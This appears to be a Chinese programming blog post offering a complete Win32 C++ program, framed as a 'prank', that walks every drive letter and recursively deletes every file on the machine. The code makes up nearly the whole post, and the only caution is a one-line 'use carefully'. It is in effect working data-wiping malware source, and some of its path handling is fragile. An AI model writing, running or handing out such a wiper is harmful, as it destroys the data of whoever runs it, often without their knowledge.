本文实例讲述了基于Windows API实现遍历所有文件并删除的方法。分享给大家供大家参考。具体分析如下:
最近一直在学windows API,弄了一些好玩的东西(有点恶作剧了,请大家谨慎使用)...
下面是我现学现卖写的一个删除硬盘上所有文件的小程序 ....
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
#include <windows.h>
#include <stdio.h>
#include <bitset>
using namespace std;
void DelFile( char *cFilePath)
{
WIN32_FIND_DATA data;
HANDLE hFind;
char cFullPath[100];
char cNewPath[100];
sprintf_s(cFullPath, "%s\\*.*" ,cFilePath);
hFind=FindFirstFile(cFullPath,&data);
do
{
if ((! strcmp ( "." ,data.cFileName)) || (! strcmp ( ".." ,data.cFileName)))
{
continue ;
}
if (data.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY)
{
sprintf_s(cNewPath, "%s\\%s" ,cFilePath,data.cFileName);
DelFile(cNewPath); //递归
}
// MessageBox(NULL,data.cFileName,"Look",0);
sprintf_s(cFullPath, "%s\\%s" ,cFilePath,data.cFileName);
DeleteFile(cFullPath);
} while (FindNextFile(hFind,&data));
}
int WINAPI WinMain(
HINSTANCE hInstance, // handle to current instance
HINSTANCE hPrevInstance, // handle to previous instance
LPSTR lpCmdLine, // command line
int nCmdShow // show state
)
{
DWORD dwDrive=GetLogicalDrives();
bitset<32> bit(dwDrive);
char Path[3]={ 'a' , ':' , '\0' };
for ( int ix=0;ix!=32;ix++)
{
if (bit.test(ix))
{
Path[0]= 'A' +ix;
DelFile(Path);
}
}
return 0;
}
|
希望本文所述对大家的win32程序设计有所帮助。